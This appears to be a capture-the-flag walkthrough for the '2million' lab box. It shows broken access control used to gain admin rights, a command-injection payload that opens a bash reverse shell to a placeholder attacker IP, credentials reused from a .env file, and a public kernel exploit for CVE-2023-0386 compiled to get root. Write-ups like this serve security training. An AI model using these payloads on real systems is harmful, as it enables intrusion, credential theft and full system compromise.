2Million: Broken Access Control to Root

$ nmap -p- --min-rate 5000 -sS 2million.htb
$ nmap -sC -sV -A -oN nmap_report.txt 2million.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9
80/tcp open  http    nginx (redirects to 2million.htb)

# Hint endpoint returns a ROT13-encoded string
$ curl -s http://2million.htb/api/v1/invite/how/to/generate
Va beqre gb trarengr gur vaivgr...

# tr rot13 → "In order to generate the invite code, POST to /api/v1/invite/generate"
$ echo 'Va beqre...' | tr 'A-Za-z' 'N-ZA-Mn-za-m'

$ curl -s -X POST http://2million.htb/api/v1/invite/generate | jq

# base64-decoded invite code → register on /register

$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=<session_id>" \
  -H "Content-Type: application/json" \
  --data '{"email":"me@example.com","is_admin":1}'

# account now has admin privileges

# confirm injection
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<session_id>" -H "Content-Type: application/json" \
  --data '{"username":"john;whoami;"}'

# listener, then trigger the payload
$ nc -lvnp 4444
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<session_id>" -H "Content-Type: application/json" \
  --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\"}"

# shell as www-data

www-data@2million:~$ cat /home/*/user.txt

www-data@2million:~$ cat /var/www/html/.env
DB_USERNAME=admin
DB_PASSWORD=[REDACTED]

$ ssh admin@2million.htb
Password: [REDACTED]

admin@2million:~$ uname -a
Linux 2million 5.15.70 ...

$ git clone https://github.com/puckiestyle/CVE-2023-0386
$ cd CVE-2023-0386
$ gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
$ chmod +x poc && ./poc

# root shell dropped

# cat /root/root.txt